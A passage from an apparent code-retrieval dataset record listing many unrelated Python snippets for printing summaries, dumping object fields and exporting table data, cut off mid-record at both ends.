PrettyTable:\n table_contain: PrettyTable = PrettyTable()\n table_contain.field_names = [\n \"File Name\", \"Classes\", \"Functions\", \"Lines\", \"Characters\"]\n for key, value in self.files_summary.items():\n table_contain.add_row([key] + list(value.values()))\n\n return table_contain","def read_all():\n # Create the list of example_objects from our data\n example_objects = ExampleObject.query.order_by(ExampleObject.field2).all()\n\n # Serialize the data for the response\n example_object_schema = ExampleObjectSchema(many=True)\n data = example_object_schema.dump(example_objects)\n return data","def _print_summary(case, summary):\n for dof, data in summary.items():\n b4b = data[\"Bit for Bit\"]\n conf = data[\"Configurations\"]\n stdout = data[\"Std. Out Files\"]\n print(\" \" + case + \" \" + str(dof))\n print(\" --------------------\")\n print(\" Bit for bit matches : \" + str(b4b[0]) + \" of \" + str(b4b[1]))\n print(\" Configuration matches : \" + str(conf[0]) + \" of \" + str(conf[1]))\n print(\" Std. Out files parsed : \" + str(stdout))\n print(\"\")"],"string":"[\n \"def printSummary(self):\\n pass\",\n \"def print_summary(self):\\n\\t\\t\\n\\t\\tif not self.objects:\\n\\t\\t\\tsys.stderr.write(\\\"No objects.\\\\n\\\")\\n\\t\\t\\treturn\\n\\t\\t\\n\\t\\t# Summary header data\\n\\t\\theader = (\\\"ok\\\", \\\"error\\\", \\\"zdata\\\", \\\"xdata\\\", \\\"odata\\\", \\\"ratio\\\")\\n\\t\\t\\n\\t\\t# Summary header format\\n\\t\\tfield = \\\" %11s\\\"\\n\\t\\tfmt = field * len(header)\\n\\t\\twidth = len(field % \\\"\\\") * len(header)\\n\\t\\ts_line = \\\"-\\\" * width\\n\\t\\td_line = \\\"=\\\" * width\\n\\t\\t\\n\\t\\t# Verbose header data\\n\\t\\tvheader = (\\\"ok?\\\", \\\"type\\\", \\\"id\\\", \\\"zdata\\\", \\\"xdata\\\", \\\"odata\\\", \\\"ratio\\\")\\n\\t\\t\\n\\t\\t# Verbose header format\\n\\t\\tvfmt = \\\" %3s %7s\\\" + field * 5\\n\\t\\t\\n\\t\\t# Summary data\\n\\t\\tc_ratio = None\\n\\t\\to_ok = o_error = 0\\n\\t\\tz_data_size = x_data_size = o_data_size = 0\\n\\t\\t\\n\\t\\tif self.verbose:\\n\\t\\t\\tprint vfmt % vheader\\n\\t\\t\\tprint s_line\\n\\t\\t\\n\\t\\t# Gather data from objects\\n\\t\\tfor obj in self.objects:\\n\\t\\t\\tif obj.v_all:\\n\\t\\t\\t\\to_ok += 1\\n\\t\\t\\t\\tif obj.z_data_size: z_data_size += obj.z_data_size\\n\\t\\t\\t\\tif obj.x_data_size: x_data_size += obj.x_data_size\\n\\t\\t\\t\\tif obj.o_data_size: o_data_size += obj.o_data_size\\n\\t\\t\\telse:\\n\\t\\t\\t\\to_error += 1\\n\\t\\t\\t\\n\\t\\t\\tif self.verbose:\\n\\t\\t\\t\\tv_c_ratio = None\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t# Calculate compression if possible\\n\\t\\t\\t\\tif obj.z_data_size and obj.x_data_size:\\n\\t\\t\\t\\t\\tv_c_ratio = str(100 * obj.z_data_size / obj.x_data_size) + \\\"%\\\"\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t# Build verbose data\\n\\t\\t\\t\\tv_data = (\\n\\t\\t\\t\\t\\t\\\"[Y]\\\" if obj.v_all else \\\"[N]\\\",\\n\\t\\t\\t\\t\\tobj.o_data_type or \\\"N/A\\\",\\n\\t\\t\\t\\t\\tobj.id[:10],\\n\\t\\t\\t\\t\\tobj.z_data_size or \\\"N/A\\\",\\n\\t\\t\\t\\t\\tobj.x_data_size or \\\"N/A\\\",\\n\\t\\t\\t\\t\\tobj.o_data_size or \\\"N/A\\\",\\n\\t\\t\\t\\t\\tv_c_ratio or \\\"N/A\\\"\\n\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t# Print verbose data\\n\\t\\t\\t\\tprint vfmt % v_data\\n\\t\\t\\n\\t\\tif self.verbose:\\n\\t\\t\\tprint d_line\\n\\t\\t\\n\\t\\t# Calculate compression ratio\\n\\t\\tif z_data_size and x_data_size:\\n\\t\\t\\tc_ratio = str(100 * z_data_size / x_data_size) + \\\"%\\\"\\n\\t\\t\\n\\t\\t# Print summary\\n\\t\\tprint fmt % header\\n\\t\\tprint s_line\\n\\t\\tprint fmt % (o_ok, o_error, z_data_size, x_data_size, o_data_size, c_ratio)\",\n \"def print_summary(self):\\n self.model.summary()\",\n \"def _get_summary_struct(self):\\n _features = _precomputed_field(\\n _internal_utils.pretty_print_list(self.get('features')))\\n _exclude = _precomputed_field(\\n _internal_utils.pretty_print_list(self.get('excluded_features')))\\n fields = [\\n (\\\"Features\\\", _features),\\n (\\\"Excluded features\\\", _exclude),\\n (\\\"Output column name\\\", 'output_column_name'),\\n (\\\"Max categories per column\\\", 'max_categories'),\\n ]\\n section_titles = ['Model fields']\\n\\n return ([fields], section_titles)\",\n \"def _summary(obj):\\n return obj.summary\",\n \"def dump_objects(self):\\n #print 'Object Count: ', self.object_store.len()\\n \\n for item in self.object_store:\\n print 'Object Name: ', item.__dict__['Name'], ' LocalID: ', item.__dict__['LocalID']\",\n \"def _summarize(obj, fields):\\n for name in fields:\\n attr = getattr(obj, name)\\n if attr is None:\\n continue\\n elif isinstance(attr, datetime):\\n attr = attr.isoformat()\\n yield f\\\"{name}: {repr(attr)}\\\"\",\n \"def _summarize(obj, fields):\\n for name in fields:\\n attr = getattr(obj, name)\\n if attr is None:\\n continue\\n elif isinstance(attr, datetime):\\n attr = attr.isoformat()\\n yield f\\\"{name}: {repr(attr)}\\\"\",\n \"def inspect_model_fields(self, model: ModelRepresentation) -> None:\\n c = model.count()\\n title(f\\\"{model.name} ({c})\\\")\\n print(model.fields_info())\",\n \"def objectFields(self):\\n raise NotImplementedError\",\n \"def dump_objects():\\n pass\",\n \"def all_fields(item):\\n return scom.all_fields(item)\",\n \"def summary(self):\\n print(self.model.summary())\",\n \"def fields(self):\",\n \"def summary(self, printed=True):\\n raise NotImplementedError\",\n \"def summary(self):\\n self.model.summary()\",\n \"def summary(self):\\r\\n print(self.model.summary())\",\n \"def dump(self):\\r\\n for (name, value) in self.__table__.items():\\r\\n print (name)\\r\\n print (value)\",\n \"def dumpo(self):\\n return self.do_all()\",\n \"def fields(self):\\n ...\",\n \"def print_summary(self):\\n print(\\\"Word Level\\\")\\n self.model_word.summary()\\n \\n print(\\\"Sent Level\\\")\\n self.model_sent.summary()\\n\\n print(\\\"Doc Level\\\")\\n self.model.summary()\",\n \"def summary(self):\\n raise NotImplementedError\",\n \"def dump_schemed_data(obj):\\n out = OrderedDict()\\n\\n # Check all interfaces provided by the object\\n ifaces = obj.__provides__.__iro__\\n\\n # Check fields from all interfaces\\n for iface in ifaces:\\n fields = zope.schema.getFieldsInOrder(iface)\\n for name, field in fields:\\n # ('header', <zope.schema._bootstrapfields.TextLine object at 0x1149dd690>)\\n out[name] = getattr(obj, name, None)\\n\\n return out\",\n \"def summary(self) -> None:\\n print(\\\"Model manager summary:\\\")\\n print(\\\"Preprocessor:\\\")\\n print(self.preprocessor)\\n print(\\\"Model summary:\\\")\\n self.model.summary()\\n print(\\\"Postprocessor:\\\")\\n print(self.postprocessor)\",\n \"def all_fields(cls):\\n return cls.__by_name.values()\",\n \"def print_summary(self, print_level = 0):\\n\\n print(\\\"==========================\\\")\\n print(\\\"= FUNtoFEM model summary =\\\")\\n print(\\\"==========================\\\")\\n print(\\\"Model name:\\\", self.name)\\n print(\\\"Number of bodies:\\\", len(self.bodies))\\n print(\\\"Number of scenarios:\\\", len(self.scenarios))\\n print(\\\" \\\")\\n print(\\\"------------------\\\")\\n print(\\\"| Bodies summary |\\\")\\n print(\\\"------------------\\\")\\n for body in self.bodies:\\n print(\\\"Body:\\\", body.id, body.name)\\n print(\\\" coupling group:\\\", body.group)\\n print(\\\" transfer scheme:\\\", type(body.transfer))\\n print(\\\" shape parameteration:\\\", type(body.shape))\\n for vartype in body.variables:\\n print(' variable type:', vartype)\\n print(' number of ', vartype, ' variables:', len(body.variables[vartype]))\\n if print_level >= 0:\\n for var in body.variables[vartype]:\\n print(' variable:', var.name, ', active?', var.active,', coupled?', var.coupled)\\n print(' value and bounds:', var.value, var.lower, var.upper)\\n\\n print(\\\" \\\")\\n print(\\\"--------------------\\\")\\n print(\\\"| Scenario summary |\\\")\\n print(\\\"--------------------\\\")\\n for scenario in self.scenarios:\\n print(\\\"scenario:\\\", scenario.id, scenario.name)\\n print(\\\" coupling group:\\\", scenario.group)\\n print(\\\" steps:\\\", scenario.steps)\\n print(\\\" steady?:\\\", scenario.steady)\\n for func in scenario.functions:\\n print(' function:', func.name, ', analysis_type:', func.analysis_type)\\n print(' adjoint?', func.adjoint)\\n if not scenario.steady:\\n print(' time range', func.start, ',', func.stop)\\n print(' averaging', func.averaging)\\n\\n\\n for vartype in scenario.variables:\\n print(' variable type:', vartype)\\n print(' number of ', vartype, ' variables:', len(scenario.variables[vartype]))\\n if print_level >= 0:\\n for var in scenario.variables[vartype]:\\n print(' variable:', var.id, var.name, ', active?', var.active,', coupled?', var.coupled)\\n print(' value and bounds:', var.value, var.lower, var.upper)\",\n \"def summary(self):\\n\\n self.model.summary(print_fn=lambda x: logging.info(x))\",\n \"def show_model_summary(self):\\n\\t\\treturn self.model.summary()\",\n \"def account_summary(self):\\n pass\",\n \"def _get_summary_struct(self):\\n model_fields = [\\n ('Number of classes', 'num_classes'),\\n ('Number of feature columns', 'num_features'),\\n ('Input image shape', 'input_image_shape'),\\n ]\\n training_fields = [\\n ('Number of examples', 'num_examples'),\\n (\\\"Training loss\\\", 'training_loss'),\\n (\\\"Training time (sec)\\\", 'training_time'),\\n ]\\n\\n section_titles = ['Schema', 'Training summary']\\n return([model_fields, training_fields], section_titles)\",\n \"def _export(self, filled_only=False, without_id=False):\\n response = dict()\\n for field in self.fields:\\n if filled_only and not self.fields.get(field).get():\\n continue\\n if field == '_id' and without_id:\\n continue\\n response[field] = self.fields.get(field).get()\\n return response\",\n \"def fields(self):\\r\\n pass\",\n \"def json_summary(summary, fields=None):\\n\\n data = {}\\n for items in summary._meta.items.keys():\\n if fields and items in fields:\\n data[items] = dict((i.pk, getattr(i, summary._meta.items[items].cache_amount_as)) for i in getattr(summary, items))\\n for extra in summary._meta.extras:\\n if fields and extra in fields:\\n data[extra] = getattr(summary, extra).amount\\n for total in summary._meta.totals:\\n if fields and total in fields:\\n data[total] = getattr(summary, total)\\n\\n return simplejson.dumps(data, cls=DjangoJSONEncoder)\",\n \"def show_database_structure(self):\\n self.analyze()\\n items = []\\n for model in get_models():\\n names = []\\n # for f, m in model._meta.get_fields_with_model():\\n for f in model._meta.concrete_fields:\\n names.append(f.name)\\n items.append(\\n \\\"{0} : {1}\\\".format(fmn(model), ', '.join(names)))\\n\\n items = sorted(items)\\n return rstgen.ul(items)\",\n \"def report(self):\\n print()\\n print(\\\"%-15s %-25s %s\\\" % (\\\"Class\\\", \\\"Name\\\", \\\"File\\\"))\\n print(\\\"%-15s %-25s %s\\\" % (\\\"-----\\\", \\\"----\\\", \\\"----\\\"))\\n for m in sorted(self.flatten(), key=lambda n: n.identifier):\\n print(\\\"%-15s %-25s %s\\\" % (type(m).__name__, m.identifier, m.filename or \\\"\\\"))\",\n \"def summary(self):\\n if hasattr(self,\\\"_summary\\\"):\\n return self._summary\\n else:\\n return {}\",\n \"def summary(self):\\n return self.model.summary()\",\n \"def summary(self) -> str:\\n pass\",\n \"def allField(files=['apo*/*/apField-*.fits','apo*/*/apFieldC-*.fits','lco*/*/apField-*.fits'],out='allField.fits',verbose=False) :\\n # concatenate the structures\\n all=struct.concat(files,verbose=verbose)\\n\\n # write out the file\\n if out is not None:\\n print('writing',out)\\n struct.wrfits(all,out)\\n\\n return all\",\n \"def general_export(request):\\n export_fields = OrderedDict(GENERAL_EXPORT_FIELDS)\\n export = OpenXMLExport('Exportation')\\n export.write_line(export_fields.keys(), bold=True) # Headers\\n # Data\\n query_keys = [f for f in export_fields.values() if f is not None]\\n query = Student.objects.filter(archived=False).order_by('klass__name', 'last_name', 'first_name')\\n for line in query.values(*query_keys):\\n values = []\\n for field in query_keys:\\n if field == 'gender':\\n values.append(('Madame', 'Monsieur')[line[field] == 'M'])\\n elif field in ('dispense_ecg', 'dispense_eps', 'soutien_dys'):\\n values.append('Oui' if line[field] is True else '')\\n else:\\n values.append(line[field])\\n export.write_line(values)\\n\\n return export.get_http_response('general_export')\",\n \"def print_object_details(obj: object) -> None:\\n print_section(obj, 'Type', print_type)\\n print_section(obj, 'Documentation', print_documentation)\\n print_section(obj, 'Attributes', print_attributes)\\n print_section(obj, 'Methods', print_methods)\\n print_section_delimiter()\",\n \"def metadata(self) -> global___SummaryMetadata:\",\n \"def summary(self):\\r\\n return summary.Summary(self.parent, self.object_id)\",\n \"def allFieldVisits(files=['apo*/*/apFieldVisits-*.fits','apo*/*/apFieldC-*.fits','lco*/*/apFieldVisits-*.fits'],out='allFieldVisits.fits',verbose=False) :\\n # concatenate the structures\\n all=struct.concat(files,verbose=verbose)\\n\\n # write out the file\\n if out is not None:\\n print('writing',out)\\n struct.wrfits(all,out)\\n\\n return all\",\n \"def _format(self):\\n output = f\\\"\\\\n{color('>>> DUMP')} from {self.filename}: {color(f'L{self.line}')} in {color(f'{self.method}()')}\\\"\\n\\n for name, obj in self.objects.items():\\n output += f\\\"\\\\n\\\\n{color(f' - {name}:')}\\\\n\\\"\\n output += f\\\" {pformat(obj, width=110, indent=4)}\\\"\\n\\n output += color(\\\"\\\\n\\\\n<<< END\\\")\\n return output\",\n \"def summaries(\\n cls, obj: pystac.Collection, add_if_missing: bool = False\\n ) -> \\\"SummariesSarExtension\\\":\\n cls.validate_has_extension(obj, add_if_missing)\\n return SummariesSarExtension(obj)\",\n \"def export(self, out=sys.stdout):\\n\\n tablemodel = None\\n for x in self.tables:\\n if x.name == self.config.table:\\n tablemodel = x\\n \\n if tablemodel is None:\\n return\\n \\n # output the header\\n tableinstance = tablemodel(self.dbpath)\\n fieldnames = list(tableinstance.fieldnames()) \\n out.write(\\\"\\\\t\\\".join(fieldnames) + \\\"\\\\n\\\") \\n # output the table contents\\n generator = DBGenerator(tablemodel(self.dbpath))\\n for row in generator.next():\\n temp = [str(row[_]) for _ in fieldnames]\\n out.write(\\\"\\\\t\\\".join(temp) + \\\"\\\\n\\\")\",\n \"def print_brief_summary(self):\\n print (\\\"Model {}\\\".format(self.modelName))\\n print (\\\"Precision {}\\\".format(self.precision))\\n print (\\\"Recall {}\\\".format(self.recall))\\n print (\\\"f1 score {}\\\".format(self.f1))\\n \\n # work here\\n print (\\\"\\\\nGold NER label counts:\\\")\\n for ner in self.gold_cts.keys():\\n print (\\\"{} : {} (tag{})\\\".format(self.gold_cts[ner], self.nerTags.ids_to_words([ner]), ner))\\n print (\\\"\\\\nPredicted NER label counts:\\\")\\n for ner in self.pred_cts.keys():\\n print (\\\"{} : {} (tag{})\\\".format(self.pred_cts[ner], self.nerTags.ids_to_words([ner]), ner))\",\n \"def _DumpSchema(root, out, path):\\n if isinstance(root, type):\\n root = root()\\n elif hasattr(root, '__call__') and not hasattr(root, 'export_params'):\\n root = root()\\n for i in root.export_params:\\n name = i.replace('-', '_')\\n out.append('.'.join(path + [name]))\\n for i in root.export_objects:\\n name = i.replace('-', '_')\\n out.append('.'.join(path + [name, '']))\\n _DumpSchema(getattr(root, name), out, path + [name])\\n for i in root.export_object_lists:\\n name = i.replace('-', '_')\\n out.append('.'.join(path + [name, '']))\\n out.append('.'.join(path + [name, '{i}']))\\n _DumpSchema(getattr(root, name), out, path + [name, '{i}'])\",\n \"def get_summary(self):\\n return self.model.summary()\",\n \"def summary(self):\\r\\n self.base.summary()\\r\\n self.extra_layers.summary()\\r\\n self.detector.summary()\",\n \"def raw_fields(self):\\n pass\",\n \"def printout_all(self, indent_level):\\n indent = \\\" \\\"*indent_level*INDENTATION_MULTIPLIER\\n\\n print(indent, \\\"Metric Definition ID:\\\", self.ID, sep='')\\n print(indent, \\\"|-name:\\\", self.name, sep='')\\n\\n print(indent, \\\"|-info:\\\", self.info, sep='')\",\n \"def prettySummary(self):\\n #import pandas as pd\\n temp = self.framed.describe().toPandas()\\n temp.iloc[1:3,1:] = temp.iloc[1:3,1:].convert_objects(convert_numeric=True)\\n pd.options.display.float_format = '{:,.2f}'.format\\n \\n return temp\",\n \"def getSummary(self):\\n return self.base.get(\\\"summary\\\", [])\",\n \"def get_all_fields(self):\\n fields = []\\n for f in self._meta.fields:\\n\\n fname = f.name \\n # resolve picklists/choices, with get_xyz_display() function\\n get_choice = 'get_'+fname+'_display'\\n if hasattr( self, get_choice):\\n value = getattr( self, get_choice)()\\n else:\\n try :\\n value = getattr(self, fname)\\n except User.DoesNotExist:\\n value = None\\n\\n # only display fields with values and skip some fields entirely\\n if f.editable and value and f.name not in ('id', 'status', 'workshop', 'user', 'complete') :\\n\\n fields.append(\\n {\\n 'label':f.verbose_name, \\n 'name':f.name, \\n 'value':value,\\n }\\n )\\n return fields\",\n \"def summary(self):\\n summaries = self.summaries()\\n # Reduce to a single summary with weighted averages for each\\n # field except \\\"total_instances\\\", which is summed.\\n total_instances = sum(d['total_instances'].value() for d in summaries)\\n summary = {'total_instances': total_instances}\\n for field in ('average_qps', 'average_latency', 'average_memory'):\\n instance_weighted_sum = sum(\\n d['total_instances'].value() * d[field].value()\\n for d in summaries)\\n summary[field] = float(instance_weighted_sum) / total_instances\\n # Beautify rounding precision to match the App Engine UI.\\n summary['average_qps'] = round(summary['average_qps'], 3)\\n summary['average_latency_ms'] = round(summary['average_latency'], 1)\\n summary['average_memory_mb'] = round(summary['average_memory'], 1)\\n del summary['average_latency']\\n del summary['average_memory']\\n return summary\",\n \"def _fields(self, doclet):\\n FIELD_TYPES = OrderedDict([('params', _params_formatter),\\n ('properties', _params_formatter),\\n ('exceptions', _exceptions_formatter),\\n ('returns', _returns_formatter)])\\n for field_name, callback in iteritems(FIELD_TYPES):\\n for field in doclet.get(field_name, []):\\n description = field.get('description', '')\\n unwrapped = sub(r'[ \\\\t]*[\\\\r\\\\n]+[ \\\\t]*', ' ', description)\\n yield callback(field, unwrapped)\",\n \"def get_summary(self):\\n mask = \\\"\\\"\\\"mask[\\n nextInvoiceTotalAmount,\\n pendingInvoice[invoiceTotalAmount],\\n blockDeviceTemplateGroupCount,\\n dedicatedHostCount,\\n domainCount,\\n hardwareCount,\\n networkStorageCount,\\n openTicketCount,\\n networkVlanCount,\\n subnetCount,\\n userCount,\\n virtualGuestCount\\n ]\\n \\\"\\\"\\\"\\n return self.client.call('Account', 'getObject', mask=mask)\",\n \"def dump_model(self):\",\n \"def _save_events_summary(self):\\n for name, events in self._events.items():\\n dict_events = [event.to_dict() for event in events]\\n dump_data(dict_events, self._make_event_filename(name))\",\n \"def test_include_summary():\\n t_task = Task()\\n t_dict = t_task._asdict()\\n for field in ['summary', 'owner', 'done', 'id']:\\n assert field in t_dict\",\n \"def print_objects(self):\\n print(\\\"Spaces: {}\\\".format([s.name for s in self.spaces]))\\n print(\\\"Characters: {}\\\".format([c.name for c in self.characters]))\\n print(\\\"Items: {}\\\".format([i.name for i in self.items]))\",\n \"def _get_summary_struct(self):\\n\\n model_fields = [\\n (\\\"Number of reference examples\\\", 'num_examples')]\\n\\n training_fields = [\\n (\\\"Method\\\", 'method'),\\n (\\\"Total training time (seconds)\\\", 'training_time')]\\n\\n sections = [model_fields, training_fields]\\n section_titles = ['Schema', 'Training']\\n\\n return (sections, section_titles)\",\n \"def test_summary(self):\\n self.db.upload(\\\"pkg1-0.3a2.tar.gz\\\", BytesIO(b\\\"test1234\\\"), \\\"pkg1\\\", \\\"0.3a2\\\")\\n self.db.upload(\\\"pkg1-1.1.tar.gz\\\", BytesIO(b\\\"test1234\\\"), \\\"pkg1\\\", \\\"1.1\\\")\\n p1 = self.db.upload(\\n \\\"pkg1a2.tar.gz\\\", BytesIO(b\\\"test1234\\\"), \\\"pkg1\\\", \\\"1.1.1a2\\\", \\\"summary\\\"\\n )\\n p2 = self.db.upload(\\n \\\"pkg2.tar.gz\\\", BytesIO(b\\\"test1234\\\"), \\\"pkg2\\\", \\\"0.1dev2\\\", \\\"summary\\\"\\n )\\n summaries = self.db.summary()\\n self.assertCountEqual(\\n summaries,\\n [\\n {\\n \\\"name\\\": \\\"pkg1\\\",\\n \\\"summary\\\": \\\"summary\\\",\\n \\\"last_modified\\\": p1.last_modified.replace(tzinfo=UTC),\\n },\\n {\\n \\\"name\\\": \\\"pkg2\\\",\\n \\\"summary\\\": \\\"summary\\\",\\n \\\"last_modified\\\": p2.last_modified.replace(tzinfo=UTC),\\n },\\n ],\\n )\",\n \"def summary(self):\\n name = 'name : ' + self.get_name()\\n damage = 'damage : ' + str(self.get_damage())\\n ammos = 'ammo : ' + str(self.get_ammos())\\n owner = 'owner : ' + str(self.get_owner())\\n return '\\\\n'.join([name, damage, ammos, owner])\",\n \"def _get_summary_struct(self):\\n\\n model_fields = [\\n ('Number of coefficients', 'num_coefficients'),\\n ('Number of examples', 'num_examples'),\\n ('Number of classes', 'num_classes'),\\n ('Number of feature columns', 'num_features'),\\n ('Number of unpacked features', 'num_unpacked_features')]\\n\\n hyperparam_fields = [\\n (\\\"L1 penalty\\\", 'l1_penalty'),\\n (\\\"L2 penalty\\\", 'l2_penalty')\\n ]\\n\\n solver_fields = [\\n (\\\"Solver\\\", 'solver'),\\n (\\\"Solver iterations\\\", 'training_iterations'),\\n (\\\"Solver status\\\", 'training_solver_status'),\\n (\\\"Training time (sec)\\\", 'training_time')]\\n\\n training_fields = [\\n (\\\"Log-likelihood\\\", 'training_loss')]\\n\\n coefs = self.coefficients\\n top_coefs, bottom_coefs = _toolkit_get_topk_bottomk(coefs,k=5)\\n\\n (coefs_list, titles_list) = _summarize_coefficients(top_coefs, \\\\\\n bottom_coefs)\\n\\n return ([ model_fields, hyperparam_fields, \\\\\\n solver_fields, training_fields ] + coefs_list, \\\\\\n [ 'Schema', 'Hyperparameters', \\\\\\n 'Training Summary', 'Settings' ] + titles_list )\",\n \"def summary(self):\\n response = self._get(self.uri_for(\\\"summary\\\"))\\n return json_to_py(response)\",\n \"def fields(self):\\n return (self._total + self._mean + self._variance\\n + self._skew + self._kurtosis)\",\n \"def dump(self):\\n outputs = [\\\"View : %s\\\\n\\\" % self.name]\\n cols = list(self.columns.values())\\n cols.sort()\\n for column in cols:\\n outputs.append(\\\" %-30s %-12s\\\" % (column['name'], column['type']))\\n outputs.append(\\\"%7s\\\" % self.__class__.calc_precision(column['type'],\\n column['length'], column['precision'], column['scale']))\\n if not column['nullable']:\\n outputs.append(\\\" NOT NULL\\\")\\n outputs.append(\\\"\\\\n\\\")\\n outputs.append(\\\"\\\\n\\\")\\n outputs.append(self.sql+\\\"\\\\n\\\")\\n outputs.append(\\\"\\\\n\\\")\\n return \\\"\\\".join(outputs)\",\n \"def print_summary_stats(self) -> None:\\n print(\\\"Number of Users: {}\\\".format(len(self.all_users)))\\n print(\\\"Number of Utterances: {}\\\".format(len(self.utterances)))\\n print(\\\"Number of Conversations: {}\\\".format(len(self.conversations)))\",\n \"def print_all(self) -> None:\\n\\n print(\\\"title: \\\" + str(self.title))\\n print(\\\"simple_title: \\\" + str(self.simple_title))\\n print(\\\"info: \\\" + str(self.info))\\n print(\\\"exists: \\\" + str(self.exists))\\n print(\\\"categories: \\\" + str(self.categories))\\n print(\\\"content: \\\" + str(self.content))\",\n \"def print_summary(self):\\n self.network.print_summary()\",\n \"def _print_summary(results):\\n if not len(results) > 0:\\n print 'No results to show in summary.'\\n return\\n\\n table = {}\\n for res in results:\\n for k, v in res.iteritems():\\n table.setdefault(k, []).append(v)\\n print tabulate(table, headers='keys', tablefmt=\\\"simple\\\")\",\n \"def export_data(self):\\n return self.export_all_data()\",\n \"def print_output(objects):\\n output_file = open(OUTPUTFILE, 'w')\\n\\n for obj in objects:\\n output_file.write(\\\"[mod] {}\\\\n\\\".format(obj['mod']))\\n\\n # If mod_poly then also output the polynomial behind it\\n if obj['operation'] == \\\"mod-poly\\\":\\n output_file.write(\\\"[{}]\\\\t{}\\\\n\\\".format(obj['operation'], obj['operation_values_original']))\\n output_file.write(\\\"[{}]\\\\n\\\".format(obj['additional_data']))\\n else:\\n output_file.write(\\\"[{}]\\\\n\\\".format(obj['operation']))\\n\\n # Print all values that are present \\n if 'f_original' in obj:\\n output_file.write(obj['f_original'] + '\\\\n')\\n if 'g_original' in obj:\\n output_file.write(obj['g_original'] + '\\\\n')\\n if 'h_original' in obj:\\n output_file.write(obj['h_original'] + '\\\\n')\\n if 'deg_original' in obj:\\n output_file.write(obj['deg_original'] + '\\\\n')\\n if 'a_original' in obj:\\n output_file.write(obj['a_original'] + '\\\\n')\\n if 'b_original' in obj:\\n output_file.write(obj['b_original'] + '\\\\n')\\n if 'answer' in obj:\\n output_file.write('[answer] {}\\\\n'.format(obj['answer']))\\n if 'answer-q' in obj:\\n output_file.write('[answer-q] {}\\\\n'.format(obj['answer-q']))\\n if 'answer-r' in obj:\\n output_file.write('[answer-r] {}\\\\n'.format(obj['answer-r']))\\n if 'answer-a' in obj:\\n output_file.write('[answer-a] {}\\\\n'.format(obj['answer-a']))\\n if 'answer-b' in obj:\\n output_file.write('[answer-b] {}\\\\n'.format(obj['answer-b']))\\n if 'answer-d' in obj:\\n output_file.write('[answer-d] {}\\\\n'.format(obj['answer-d']))\\n\\n output_file.write('\\\\n')\\n\\n # Let the user know it has been generated\\n print('Output has been saved to ' + OUTPUTFILE + '.')\\n output_file.close()\",\n \"def describe(self, fieldids=None):\\n if not fieldids:\\n fieldids = self.fields.keys()\\n fieldids.sort()\\n \\n fields = []\\n for fieldid in fieldids:\\n field = self.fields[fieldid]\\n if field.fmql_type == FT_SUBFILE and field.subfileid == self.fileid:\\n #raise FilemanError(\\\"Database Corrupt - subfile %s contains self\\\" % self.fileid)\\n print \\\"Database Corrupt - subfile %s contains self\\\" % self.fileid\\n continue\\n\\n fi = self.fields[fieldid].describe()\\n fi['fieldhelp2'] = self.fieldhelp2(fieldid)\\n fields.append(fi)\\n\\n return {'fields': fields, 'fileid': self.fileid, 'filename': self.filename,\\n 'description': self.filedescription()}\",\n \"def summaries_parts(self):\\n return list()\",\n \"def export_getDBSummary(self):\\n gLogger.info(\\\"RequestManagerHandler.getDBSummary: Attempting to obtain database summary.\\\")\\n try:\\n res = requestDB.getDBSummary()\\n return res\\n except Exception,x:\\n errStr = \\\"RequestManagerHandler.getDBSummary: Exception while getting database summary.\\\"\\n gLogger.exception(errStr,lException=x)\\n return S_ERROR(errStr)\",\n \"def summary(self):\\n return ''\",\n \"def field_names(self):\\n ...\",\n \"def output_summary_stats(self):\\n total_return = self.equity_curve['equity_curve'][-1]\\n returns = self.equity_curve['returns']\\n pnl = self.equity_curve['equity_curve']\\n\\n sharpe_ratio = create_sharpe_ratio(returns)\\n drawdown, max_dd, dd_duration = create_drawdowns(pnl)\\n self.equity_curve['drawdown'] = drawdown\\n if len(dd_duration) == 1:\\n dd_duration = dd_duration[0]\\n\\n stats = [(\\\"Total Return\\\", \\\"%0.2f%%\\\" % ((total_return - 1.0) * 100.0)),\\n (\\\"Sharpe Ratio\\\", \\\"%0.2f\\\" % sharpe_ratio),\\n (\\\"Max Drawdown\\\", \\\"%0.2f%%\\\" % (max_dd * 100.0)),\\n (\\\"Drawdown Duration\\\", \\\"%s\\\" % dd_duration)]\\n\\n self.equity_curve.to_csv('equity.csv')\\n self.positions.to_csv('positions.csv')\\n self.prices.to_csv('prices.csv')\\n\\n return stats\",\n \"def get_fields(self):\\n \\n return self.metadata.keys()\",\n \"def get_metadata(sf):\\r\\n data = {}\\r\\n all_describe = sf.describe()\\r\\n\\r\\n s_objs = all_describe['sobjects']\\r\\n # scan the objects and save to a list...\\r\\n for obj in s_objs:\\r\\n row = {}\\r\\n row['name'] = obj['name']\\r\\n row['label'] = obj['label']\\r\\n row['custom'] = obj['custom']\\r\\n row['activateable'] = obj['activateable']\\r\\n row['keyPrefix'] = obj['keyPrefix']\\r\\n row['labelPlural'] = obj['labelPlural']\\r\\n\\r\\n row['raw'] = obj\\r\\n\\r\\n logger.info('\\\\t{}\\\\t-> {}'.format(obj['label'], obj['name']))\\r\\n data[row['name']] = row\\r\\n\\r\\n return data\",\n \"def model_summary():\\n print(\\\"\\\\n\\\")\\n print(\\\"=\\\" * 30 + \\\"Model Structure\\\" + \\\"=\\\" * 30)\\n model_vars = tf.trainable_variables()\\n slim.model_analyzer.analyze_vars(model_vars, print_info=True)\\n print(\\\"=\\\" * 60 + \\\"\\\\n\\\")\",\n \"def dump(self):\\n print(\\\"Total number of documents/queries processed: \\\"+str(self.num_documents))\\n print(\\\"Total number of unique expressions per document involved: \\\"+str(self.num_expressions))\\n print(\\\"Total number of expression instances involved: \\\" + str(self.global_expressions))\\n print(\\\"Total number of keywords involved: \\\"+str(self.num_keywords))\\n print(\\\"Total non-unique expressions containing error nodes: \\\" + str(self.expressions_with_e))\\n if len(self.missing_tags) == 0:\\n print(\\\"No unrecognized tags found in expressions\\\")\\n else:\\n print(\\\"Unrecognized tags found in expressions:\\\")\\n for key,value in self.missing_tags.items():\\n print(\\\" \\\",key,\\\": \\\",value)\\n if len(self.problem_files) == 0:\\n print(\\\"All files/queries parsed successfully\\\")\\n else:\\n print(\\\"Problem files/queries:\\\")\\n for key,value in self.problem_files.items():\\n print(\\\" \\\",key,\\\": \\\",value)\",\n \"def get_summary_of_records(self):\\n ids = self.get_saleman_ids()\\n table = [\\n [\\\"Seller name\\\",\\\"Number of sales\\\",\\\"Total Value ($)\\\"]\\n ]\\n for id in ids:\\n table_id = 